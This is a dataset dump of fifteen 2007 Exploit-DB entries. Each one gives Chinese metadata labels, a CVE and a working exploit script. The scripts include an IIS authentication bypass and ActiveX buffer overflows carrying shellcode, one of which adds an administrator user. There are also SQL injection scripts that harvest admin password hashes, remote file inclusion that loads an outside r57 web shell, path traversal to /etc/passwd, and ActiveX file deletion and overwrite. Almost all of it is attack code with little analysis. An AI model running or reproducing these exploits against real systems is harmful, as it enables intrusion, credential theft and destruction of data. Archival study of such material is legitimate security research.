QLWD/code_shield huggingface dataset:
标题: Microsoft IIS 5.1 - Hit Highlighting Authentication Bypass EDB-ID: 4016 CVE: 2007-2815 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-31 漏洞利用脚本: #!/bin/sh
#
# NTLM && BASIC AUTH BYPASS :)
#
# sha0[at]badchecksum.net
# Based on my adv: https://www.securityfocus.com/bid/24105/info   (CVE-2007-2815)

if [ $# != 2 ]
then
        printf "USAGE:\t\t$0 <Site> <Protected Object>\nExample:\t$0 http://www.microsoft.com  /en/us/default.aspx\n\n";
        exit 0
fi

site=$1
protectedObject=$2
evil=$site'/shao/null.htw?CiWebhitsfile='$protectedObject'&CiRestriction=b&CiHiliteType=full'
lynx -dump $evil

# milw0rm.com [2007-05-31] URL: https://www.exploit-db.com/exploits/4016
标题: Microsoft Internet Explorer 6 / Provideo Camimage - 'ISSCamControl.dll 1.0.1.5' Remote Buffer Overflow EDB-ID: 4023 CVE: 2007-3111 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-02 漏洞利用脚本: <!-- IE6 / Provideo Camimage class (ISSCamControl.dll 1.0.1.5)
remote seh overwrite exploit / win2k sp4

tried the SD-222VPRO camera series,you can reach an online demo here:
http://www.provideo.com.tw/security%20live%20demo.htm

rgod
-->
<HTML>
<object classid='clsid:AA0FB75C-C50E-47B6-B7E0-3B9C3FAA8AC4' id='Camimage' /></object>
<script language='vbscript'>

REM metasploit one, add a user 'su' with pass 'tzu'
shellcode   = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP
seh_handler = unescape("%1e%16%e6%77") : REM 0x77e6161e call edi user32.dll
nop         = string(96,unescape("%90"))
suntzu      = "http://www." + String(97,"a") + seh_handler + nop + shellcode + nop + ".com"

Camimage.URL = suntzu

</script>
</HTML>

# milw0rm.com [2007-06-02] URL: https://www.exploit-db.com/exploits/4023
标题: LeadTools Raster OCR Document Object Library - Memory Corruption EDB-ID: 4012 CVE: 2007-2981 类型: DOS 平台: WINDOWS 发布日期: 2007-05-30 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/26</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------
 <b>LeadTools Raster OCR Document Object Library (ltrdc14e.dll v. 14.5.0.44) Remote Memory corruption Exploit</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------------------------

<object classid='clsid:00140B30-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(4000, "A")
  
  test.DictionaryFileName = buff
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30] URL: https://www.exploit-db.com/exploits/4012
标题: Zenturi ProgramChecker - ActiveX 'sasatl.dll' Remote Buffer Overflow EDB-ID: 4021 CVE: 2007-2987 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-01 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------
 <b>Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow PoC</b>
 url: http://www.programchecker.com/activeintro.aspx
 
 <b><font color=red>original advisory: http://secunia.com/advisories/25473/
 Will Dormann, CERT/CC, is credited with the discovery of these issues</font></b>

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet
 Explorer 7
------------------------------------------------------------------------

<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
 buff      = String(838, "A")

 get_EIP   = unescape("%AA%A2%39%7E") 'call ESI from user32.dll

 nop       = String(1648,unescape("%90"))

 shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
             unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
             unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
             unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
             unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
             unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
             unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
             unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
             unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
             unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
             unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
             unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
             unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
             unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
             unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
             unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
             unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
             unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
             unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
             unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
             unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
             unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

 test.DebugMsgLog buff + get_EIP + nop + shellcode + nop
End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-01] URL: https://www.exploit-db.com/exploits/4021
标题: XOOPS Module icontent 1.0/4.5 - Remote File Inclusion EDB-ID: 4022 CVE: 2007-3057 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>XOOPS Module icontent v.1.0 Remote File Inclusion Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: XOOPS Module icontent v.1.0
//'[Author     : Mahmood_ali
//'[S.Page     : http://mirror.in.th/sourceforge.net/x/xo/xoops/xoops2-mod_icontent.zip
//'===============================================================================================

//'[[V.Code]]------------------------------------------------------
//'
//'include $spaw_root.'config/spaw_control.config.php';
//'include $spaw_root.'class/toolbars.class.php';
//'include $spaw_root.'class/lang.class.php';
//'
//'[[V.Code]]---------------------------------------------------------

//# Tryag.Com
//# ...




   var path="/modules/icontent/include/wysiwyg/"
   var adres="spaw_control.class.php" //File name
   var acik ="?spaw_root=" // Line 15
   var shell="http://lppm.uns.ac.id/r57.txt?" // R57Shell

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Arial" size="2" color="#FFFFFF">XOOPS Module icontent 
v.1.0 Remote File Inclusion Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Tahoma" size="1" color="#FF0000">Target:</font><font 
face="Tahoma" size="1" 
color="#FFFF00">[http://[target]/[scriptpath]</font><font color="#00FF00" 
size="2" face="Tahoma">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: 
#808000" onmouseover="javascript:this.style.background='#808080';" 
onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" 
value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" 
frameborder="0"></iframe>
</p>

<b><font face="Lucida Handwriting" size="5" 
color="#FF0000">Mahmood_ali</font></b><p>
<b><a href="http://tryag.com/cc">
<font face="Lucida Handwriting" size="5" 
color="#FFFFFF">TrYaG-Team</font></a></b></p>
</p>
</center>
</body>

</html>

# milw0rm.com [2007-06-01] URL: https://www.exploit-db.com/exploits/4022
标题: Joomla! Component Phil-a-Form 1.2.0.0 - SQL Injection EDB-ID: 4003 CVE: 2007-2933 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-28 漏洞利用脚本: #!/bin/sh

#################################################################################
#          #
#    Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit  #
#          #
# Discovered by: Cody "CypherXero" Rester     #
# Payload: Admin Username and MD5 Hash Retrieval    #
# Website: http://www.cypherxero.net      #
# Shoutouts to the milw0rm community, the PIMP forums    #
# and my blog, of course          #
#          #
#################################################################################

echo "-------------------------------------------------------------------------"
echo "      Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit"
echo "-------------------------------------------------------------------------"
echo "Usage: sql_philaform_jos.sh [HOST] [FORM_ID]"
echo "[HOST] = Hostname of targetwebsite"
echo "[FORM_ID] = Form ID of Phil-a-Form post"
echo "e.g. sql_philaform_jos.sh http://www.targethost.com 2"
echo "-------------------------------------------------------------------------"
echo "                           Cody CypherXero Rester"
echo "               http://www.cypherxero.net"
echo "-------------------------------------------------------------------------"

jos_username="%20UNION%20SELECT%20null,null,username,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
jos_password="%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
host="$1"
form_id="$2"

if [ "$form_id" == "" ]
then
echo "Syntax not correct! See usage example!"
exit 1
else
echo ""
fi

echo "Username" > $host.txt
echo "--------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_username" | grep -i "philaform_" | awk -F\_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt
echo " " >> $host.txt
echo "MD5 Password Hash" >> $host.txt
echo "-----------------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_password" | grep -i "philaform_" | awk -F\_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt

echo ""
cat $host.txt

exit 0

# milw0rm.com [2007-05-28] URL: https://www.exploit-db.com/exploits/4003
标题: LeadTools Raster ISIS Object 'LTRIS14e.DLL 14.5.0.44' - Remote Buffer Overflow (PoC) EDB-ID: 4011 CVE: 2007-2980 类型: DOS 平台: WINDOWS 发布日期: 2007-05-30 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/27</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------
 <b>LeadTools Raster ISIS Object (LTRIS14e.DLL v. 14.5.0.44) Remote Buffer Overflow Exploit</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------
<object classid='clsid:00140797-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<script language = 'vbscript'>
 buff = String(2000, "A")
 
 test.DriverName = buff
</script>

here is a dump:

EAX 41414141
ECX 41414141
EDX 008CC338 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBX 008C0000
ESP 0348F994
EBP 0348FBB4
ESI 008CC330 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EDI 00000012
EIP 7C92142E ntdll.7C92142E

7C92142E   8B39             MOV EDI,DWORD PTR DS:[ECX] <-- CRASH
</span></span>
</code></pre>

# milw0rm.com [2007-05-30] URL: https://www.exploit-db.com/exploits/4011
标题: EDraw Office Viewer Component - Denial of Service EDB-ID: 4009 CVE: 2007-3169 类型: DOS 平台: WINDOWS 发布日期: 2007-05-30 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/29</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------
 <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Denial of Service Exploit</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 KillBitSet: False
---------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(1000, "A")

  test.HttpDownloadFile buff, "Default"

 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30] URL: https://www.exploit-db.com/exploits/4009
标题: Vizayn Urun Tanitim Sistemi 0.2 - 'tr' SQL Injection EDB-ID: 4007 CVE: 2007-2803 类型: WEBAPPS 平台: ASP 发布日期: 2007-05-30 漏洞利用脚本: /* Vizayn Urun Tanitim Sistemi v0.2 (tr) Remote SQL Injection Vulnerability
Found by : ertuqrul
PoC By : BAHADIR
Contact: bahadir@bsdmail.org
Scripr HomePage: http://www.vizayn.web.tr/ws.asp?ws=102
Script Demo URL: http://ws.vizaynhosting.com/V02/
Price : 55YTL 

PoF Concept:
Http://[HOST]/[PATH]/default.asp?islem=haberdetay&id=-1%20union%20select%20USERNAME,PASSWORD,EMAIL,USERNAME%20from%20ADMIN
Takes admin username ,password and email adress from admin table 

W0rdz:Maksat Birseyler Eklemek Olsun =)
GreetZ Goes To : BURCU (Her Ne Kadar Bilmesede :D ) Ayrica Dostum Erchin'e ( Ercin Kardesim, Warcraftin Amk. Birak Su Malak Oyunu :D )  
and also to Str0ke For Posting :)
*/

# milw0rm.com [2007-05-30] URL: https://www.exploit-db.com/exploits/4007
标题: EDraw Office Viewer Component - Unsafe Method EDB-ID: 4010 CVE: 2007-3168 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-30 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/28</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
 <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 KillBitSet: False
-----------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.DeleteLocalFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"2007/05/21 - EDraw Office Viewer Component")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/28 - EDraw Office Viewer Component")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30] URL: https://www.exploit-db.com/exploits/4010
标题: Frequency Clock 0.1b - 'securelib' Remote File Inclusion EDB-ID: 3997 CVE: 2007-2936 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-27 漏洞利用脚本: #Frequency Clock Beta 0.1 Remote file include (securelib)

#Download script : http://kop.fact.co.uk/DIVE/cd/distribution/Frequency_Clock/frequencyclock.zip

#Thanks str0ke :D

#Exploit

#http://localhost/[PATH]/conf.php?securelib=shell.txt?

##http://localhost/[PATH]/cp2.php?securelib=shell.txt?

#Discovered by : ThE TiGeR

#Contact : Miro_Tiger[at]hotmail[dot]com

# milw0rm.com [2007-05-27] URL: https://www.exploit-db.com/exploits/3997
标题: Vistered Little 1.6a - 'skin' Remote File Disclosure EDB-ID: 3999 CVE: 2007-2934 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-28 漏洞利用脚本: # Vistered Little 1.6a Remote File Disclosure Vulnerability
# Page Script : http://windyroad.org/vistered-little-1.6a.zip
# Exploit : [path]/skins/common.css.php?skin=../../../../../../etc/passwd%00
# Discovered by: Mahmood_ali

# milw0rm.com [2007-05-28] URL: https://www.exploit-db.com/exploits/3999
标题: AdminBot 9.0.5 - 'live_status.lib.php' Remote File Inclusion EDB-ID: 4005 CVE: 2007-2986 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-29 漏洞利用脚本: #AdminBot-MX Remote file inclusion

#Download script : http://download.nexen.org/tools/adminbot/adminbot_http-mxb2.tar.gz

#Thanks Str0ke :D

#Exploit :

#http://127.0.0.1/[adminbot_path]/lib/live_status.lib.php?ROOT=shell.txt?

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail.com

# milw0rm.com [2007-05-29] URL: https://www.exploit-db.com/exploits/4005
标题: UltraISO 8.6.2.2011 - '.cue/'.bin' Local Buffer Overflow (2) EDB-ID: 4002 CVE: 2007-2888 类型: LOCAL 平台: WINDOWS 发布日期: 2007-05-28 漏洞利用脚本: #
#ultra iso exploit
#thomas . pollet @ gmail . com
#

import struct
scode=(#metasploit calc.exe shellcode
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a"
)
cue='FILE "'
cue+='B'*1099
#77f84143:       ff e4                   jmp    *%esp
#had to try a few to get a good one 
cue+=struct.pack('<L',0x77f84143)
cue+=scode

cue+='.bin" BINARY\n'
cue+=' TRACK 01 MODE1/2352\n   INDEX 01 00:00:00'

cue_file = open("xpl.cue","w")
cue_file.write(cue)
bin_file = open("xpl.bin","w")

# milw0rm.com [2007-05-28] URL: https://www.exploit-db.com/exploits/4002
标题: Zenturi ProgramChecker - ActiveX File Download/Overwrite EDB-ID: 4008 CVE: 2007-3076 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-30 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/30</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------
 <b>Zenturi ProgramChecker ActiveX (sasatl.dll) Arbitrary file download/overwrite Exploit</b>
 url: http://www.programchecker.com/activeintro.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 Using the "DownloadFile" method, you can download everything you want on a pc. This
 exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.
-------------------------------------------------------------------------------------------

<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.DownloadFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:\shinnai.txt" ,"0", "0"

End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30] URL: https://www.exploit-db.com/exploits/4008